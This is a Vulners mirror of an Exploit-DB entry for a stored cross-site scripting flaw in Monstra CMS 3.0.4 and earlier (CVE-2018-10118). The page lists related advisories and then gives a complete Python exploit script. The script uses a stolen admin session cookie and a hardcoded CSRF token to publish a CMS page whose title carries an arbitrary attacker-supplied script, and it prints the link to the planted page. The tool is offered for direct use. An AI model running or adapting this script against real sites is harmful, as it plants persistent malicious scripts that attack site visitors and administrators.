Lucene search
+L

Monstra CMS < 3.0.4 - Cross-Site Scripting (1)

🗓️ 07 Jun 2018 00:00:00Reported by DEEPIN2Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 46 Views

Monstra CMS < 3.0.4 - Cross-Site Scripting vulnerability exploitatio

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Monstra CMS < 3.0.4 - Cross-Site Scripting Exploit
8 Jun 201800:00
zdt
cnvd
CNVD
Monstra CMS Cross-Site Scripting Vulnerability (CNVD-2018-08254)
16 Apr 201800:00
cnvd
cve
CVE
CVE-2018-10118
15 Apr 201812:00
cve
cvelist
Cvelist
CVE-2018-10118
15 Apr 201812:00
cvelist
euvd
EUVD
EUVD-2018-2197
7 Oct 202500:30
euvd
nvd
NVD
CVE-2018-10118
16 Apr 201809:58
nvd
openvas
OpenVAS
Monstra CMS <= 3.0.4 Multiple Vulnerabilities
29 May 201800:00
openvas
prion
Prion
Cross site scripting
16 Apr 201809:58
prion
# Title: Monstra CMS < 3.0.4 - Cross-Site Scripting
# Date: 2018-06-07
# Author: DEEPIN2
# Software: Monstra CMS
# Version: 3.0.4 and earlier
# This automation code requires Python3
# You must intercept the first request through the proxy tool to verify the CSRF token.

import requests
import re

def runXSS(target, cookie, data):
	exploit = requests.post(target, cookies=cookie, data=data).text
	if re.search('exploit', exploit):
		return 'OK'
	else:
		return 'ERROR'

if __name__ == '__main__':
	print('''  ______     _______     ____   ___  _  ___        _  ___  _ _  ___
 / ___\ \   / / ____|   |___ \ / _ \/ |( _ )      / |/ _ \/ / |( _ )
| |    \ \ / /|  _| _____ __) | | | | |/ _ \ _____| | | | | | |/ _ `
| |___  \ V / | |__|_____/ __/| |_| | | (_) |_____| | |_| | | | (_) |
 \____|  \_/  |_____|   |_____|\___/|_|\___/      |_|\___/|_|_|\___/
 	[*] Author : DEEPIN2(Junseo Lee)
---------------------------------------------------------------------''')
	print('[*] Ex) http://www.target.com -> www.target.com')
	url = input('Target : ')
	print('[*] Required admin\'s PHPSESSID.')
	PHPSESSID = input('PHPSESSID : ')
	pagename = input('Pagename : ')
	script = input('Script : ')
	target = 'http://' + url + '/admin/index.php?id=pages&action=add_page'
	cookie = {'PHPSESSID':PHPSESSID}
	data = {'csrf':'9c1763649f4e5ce611d29ef5cd10914fa61e91f5',\
			'page_title':script,\
			'page_name':pagename,\
			'page_meta_title':'',\
			'page_keywords':'',\
			'page_description':'',\
			'pages':0,\
			'templates':'index',\
			'status':'published',\
			'access':'public',\
			'editor':'',\
			'page_tags':'',\
			'add_page_and_exit':'Save+and+Exit',\
			'page_date':'9999-99-99'}

	result = runXSS(target, cookie, data)
	print('-' * 69)
	if result == 'OK':
		print('[+] LINK : http://' + url + '/' + pagename)
	else:
		print('[-] Error')

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Sep 2018 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 23.5
CVSS 34.8
EPSS0.02898
46